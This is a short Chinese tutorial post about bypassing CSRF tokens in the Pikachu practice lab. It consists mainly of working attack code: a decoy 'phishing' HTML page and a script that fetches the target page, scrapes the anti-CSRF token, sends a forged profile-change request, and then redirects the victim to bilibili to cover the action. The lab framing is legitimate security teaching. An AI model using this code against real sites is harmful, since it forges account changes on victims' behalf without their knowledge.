csrf绕过token
·
创作不易,希望搬运说明出处
https://blog.csdn.net/weixin_43623271/article/details/122894170
以pikachu靶场为例,绕过token讲解
https://www.bilibili.com/video/BV1qm4y1Z7o5/
钓鱼网站源码
pikachu_csrf_token.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<p id="p1" ></p>
<a id="l" href="https://www.bilibili.com"></a>
<script src="pikachu_gettoken.js"></script>
<!-- 所有脚本跑完之后就跳转到bilibili -->
<script>
window.onload = function(){
document.getElementById("l").click();
}
</script>
</body>
</html>
pikachu_gettoken.js
脚本文件
const r = new XMLHttpRequest();
var a;
var token;
//url指向pikachu修改信息页面
var url = "http://192.168.31.242/pikachu/vul/csrf/csrftoken/token_get_edit.php?";
//修改用户信息值
var sex = '3';
var phonenum = '3';
var add = '3';
var email = '3';
//onreadystatechange监听readyStatus值变化的回调函数,readyStatus表示请求响应时处于哪个过程
r.onreadystatechange = () => {
if (r.readyState === 4) {
if (r.status === 200) {
//获得服务器返回的内容
document.getElementById('p1').innerHTML = r.response;
//从内容中提取出token的值
token = document.getElementsByName('token')[0].value;
//拿着token访问pikachu修改密码页面
new Image().src = url.concat('sex=', sex, '&phonenum=', phonenum, '&add=', add, '&email=', email, '&token=', encodeURI(token), '&submit=submit');
}
}
}
//open三个参数请求方法,url,是否异步
r.open('GET', url);
//send方法存放请求体内容,这里使用GET,所以请求体无内容
r.send(null);
更多推荐



所有评论(0)